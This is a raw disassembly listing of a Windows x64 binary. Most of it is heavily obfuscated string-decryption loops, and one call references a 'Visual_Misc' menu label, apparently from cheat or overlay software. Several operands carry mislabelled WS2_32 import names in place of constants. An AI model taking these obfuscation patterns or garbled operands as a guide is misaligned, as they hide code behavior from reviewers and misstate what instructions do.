add cl, r11b
mov byte [rbp + r10 + 0x3a0], cl
jmp 0x1400860e6
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140085f8f
lea edx, [r10 - 0x1d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x35
add dil, dl
jmp 0x140085fbf
movzx r11d, r10b
lea edx, [r11 + 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
add r11b, 0xd
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x5b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x3a0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x2c
add r9b, cl
mov byte [rbp + r10 + 0x3a0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x47]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xf
jmp 0x1400860e9
lea ecx, [r10 - 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xb
dec r10
inc r10
jmp 0x1400855e6
movzx r11d, r10b
lea edx, [r11 + 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x39
jmp 0x14008607d
movzx r11d, r10b
lea edx, [r11 - 0x5b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7d
add dil, dl
add r11b, 0x71
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x17
add r9b, r11b
mov byte [rbp + r10 + 0x3a0], r9b
inc r8
dec r10
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 9]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3f
dec r10
inc r10
jmp 0x1400855e6
lea ecx, [r10 + 0x6d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 5
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400855e6
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x73
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400855e6
sub r10b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
jmp 0x1400855e3
sub r10b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xd
jmp 0x1400855d3
lea rcx, [rbp + 0x14f20d4]
jmp 0x140086186
lea rcx, [rbp + 0x59433b]
jmp 0x140086186
lea rcx, [rbp + 0x3a0]
lea rdx, [0x1401ed248]
call fcn.140039930
mov byte [rbp + 0x120], 0xe1
mov byte [rbp + 0x121], 0xbf
mov byte [rbp + 0x122], 0xcb
mov byte [rbp + 0x123], 0xc5
mov byte [rbp + 0x124], 0xbc
mov byte [rbp + 0x125], 0xc4
mov byte [rbp + 0x126], 0xf6
mov byte [rbp + 0x127], 0x29
mov byte [rbp + 0x128], gethostname
mov byte [rbp + 0x129], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x12a], gethostname
mov byte [rbp + 0x12b], 0x4d
mov byte [rbp + 0x12c], 0xd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x12d], xmm0
mov word [rbp + 0x13d], ax
mov byte [rbp + 0x13f], al
movabs r14, 0x4c23c72663b2afa
movabs r12, 0x214fa720cb9e2cd6
movabs r15, 0xe46b55732b180ee
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x140086bcc
movzx r9d, byte [rbp + r10 + 0x120]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140086bc0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086290
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x2a
jmp 0x1400862d0
je 0x140086b46
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140086abd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140086a5e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140086a39
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400869ee
nop word [rax + rax]
cmp r8, r10
ja 0x140086bb4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086302
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086340
je 0x1400869cf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400869c4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400869a5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008698a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140086959
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008665a
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140086648
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140086620
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x1400865ff
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400865ed
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400865ce
mov rbx, rcx
lea r8, [rcx + 0x5a]
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140086b94
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140086b77
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x1400864a6
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140086487
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008646c
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400865a1
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140086582
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140086567
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14008654c
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x14008652d
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14008650c
lea rcx, [r8 + 3]
cmp rbx, rcx
ja 0x1400864e4
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400864c5
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140086350
mov rbx, rcx
lea r8, [rcx + 0x41]
jmp 0x140086350
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x140086340
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400862d0
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086256
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx r11d, r10b
jmp 0x140086a0c
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140086243
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x140086243
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086aa1
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x140086aa4
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140086adb
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086b03
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086aa1
lea edx, [r10 + 0x48]
mov ecx, 4
movzx r11d, r10b
jmp 0x140086a6b
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
dec r10
inc r10
jmp 0x140086243
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140086243
movzx r11d, r10b
lea edx, [r11 + 0x6c]
mov ecx, 6
jmp 0x1400869fb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086715
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x140086940
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400867ca
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x10
jae 0x140086919
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140086867
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 5
jb 0x140086909
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140086a0c
jne 0x140086748
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086770
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140086adb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008679e
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
dec r10
inc r10
jmp 0x140086243
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140086681
movzx r11d, r10b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x140086a0c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400867e9
movzx r11d, r10b
lea edx, [r11 - 0x7a]
mov ecx, 0x2b
jmp 0x1400869fb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140086817
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
dec r10
inc r10
jmp 0x140086243
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008683f
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140086aa1
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400866b6
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x140086b03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400868a1
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
cmp rbx, rcx
jne 0x1400868bc
movzx r11d, r10b
lea edx, [r11 - 0x34]
mov ecx, gethostname
jmp 0x140086a6b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400868ea
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x140086243
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400866e7
movzx r11d, r10b
lea edx, [r11 - 0x58]
mov ecx, 0x34
jmp 0x1400869fb
mov byte [rbp + r10 + 0x120], dil
inc r10
jmp 0x140086243
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x120]
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140086a7c
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140086ad8
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x140086adb
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086aa4
lea edx, [r10 + 0x5e]
mov ecx, gethostname
jmp 0x140086a42
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x140086a0c
movzx r11d, r10b
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x6a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1a
add r11b, r9b
mov byte [rbp + r10 + 0x120], r11b
inc r8
dec r10
inc r10
jmp 0x140086243
lea edx, [r10 - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140086243
movzx r11d, r10b
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x76
movzx eax, r11b
and al, r9b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x120], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140086243
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x72
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x120], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r10 + 0x120], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x3f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x140086243
sub r10b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
jmp 0x140086240
sub r10b, 0x12
movzx eax, r10b
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140086230
lea rcx, [rbp + 0x140e118]
jmp 0x140086bd3
lea rcx, [rbp + 0x7c0c12]
jmp 0x140086bd3
lea rcx, [rbp + 0x120]
lea rdx, [0x1401ed24a]
call fcn.140039930
call fcn.14000cc70
mov dword [rbp + 0x44], 0x43bf0000
mov dword [rbp + 0x48], 0x428c0000
lea rcx, [rbp + 0x44]
call fcn.14001a6b0
mov dword [rbp + 0x4c], 0x438d0000
mov dword [rbp + 0x50], 0x43410000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4c]
lea rcx, str.Visual_Misc
call fcn.140009cf0
mov byte [rbp + 0x140], 0xaa
mov byte [rbp + 0x141], 0x9e
mov byte [rbp + 0x142], 0x8a
mov byte [rbp + 0x143], 0x53
mov byte [rbp + 0x144], 0xa4
mov byte [rbp + 0x145], 0x99
mov byte [rbp + 0x146], 0x9f
mov byte [rbp + 0x147], 0x90
mov byte [rbp + 0x148], 0x9b
mov byte [rbp + 0x149], 0x87
mov byte [rbp + 0x14a], 0x9f
mov byte [rbp + 0x14b], 0x8c
mov byte [rbp + 0x14c], 0x8f
mov byte [rbp + 0x14d], 0x79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14e], xmm0
mov word [rbp + 0x15e], ax
movabs rsi, 0x8970bfe26af0c3ae
movabs r15, 0xaf33bf6c16b3d266
movabs r14, 0x9c523fa740d24b0a
movzx edi, byte [rsp + 0x50]
xor r12d, r12d
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r10, r12
cmp r10, 0x20
jae 0x14008791b
movzx r9d, byte [rbp + r10 + 0x140]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008790f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086d23
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x3e
jmp 0x140086d50
je 0x14008789b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008783a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400877db
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140087790
cmp r8, r10
ja 0x140087903
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140086d82
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086dc3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087770
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140087761
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140087745
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087726
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400876f5
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008732a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008730a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400872e2
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400872c0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400872ae
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140087292
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140087273
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140087253
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140087234
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087206
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140086dd0
lea rbx, [r8 + 1]
lea r8, [rbx + 6]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400878e6
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400878c6
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140086fc0
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140086fa1
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140086f86
lea rcx, [r8 + 0x80]
cmp rbx, rcx
jb 0x1400871b3
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140087169
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140087125
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400870fe
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140086dd0
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x1400870d0
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x1400870b1
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140087091
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140087072
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140087056
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140087044
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140087022
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140086ffa
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140086fdb
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140086dd0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x20]
jmp 0x140086dd0
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x140086dc3
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086d50
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x140086ce6
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx r11d, r10b
jmp 0x1400877ae
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140086cd3
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
dec r10
inc r10
jmp 0x140086cd3
lea edx, [r10 + 0x1c]
mov ecx, 0x1e
movzx r11d, r10b
jmp 0x1400877e8
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
jmp 0x14008781e
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087821
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
movzx r11d, r10b
jmp 0x1400876c0
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087854
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea ecx, [r10 - 0x16]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x66
mov byte [rbp + r10 + 0x140], dil
inc r10
jmp 0x140086cd3
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 9
jb 0x140087115
movzx r11d, r10b
lea edx, [r11 + 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400877ae
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp rbx, 0xa
jae 0x140087679
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140087551
lea edx, [r10 - 0x44]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
jmp 0x14008713c
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x14008769d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140087411
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
jmp 0x140087180
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087854
movzx r11d, r10b
lea edx, [r11 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
jmp 0x1400876c0
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087821
lea ecx, [r10 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6c
jmp 0x14008781e
movzx r11d, r10b
lea edx, [r11 - 0x28]
mov ecx, recv
jmp 0x1400877e8
lea ecx, [r10 + 0x7c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x64
dec r10
inc r10
jmp 0x140086cd3
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140086cd3
movzx r11d, r10b
lea edx, [r11 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
jmp 0x1400877ab
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14008734b
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
jmp 0x1400871c2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087389
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x140]
add rax, r8
add r10, rax
inc r10
jmp 0x140086cd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400873b6
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400876c0
cmp rbx, rcx
jne 0x1400873df
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
jmp 0x1400877f6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400871cd
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140086cd3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008743e
movzx r11d, r10b
lea edx, [r11 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400877ab
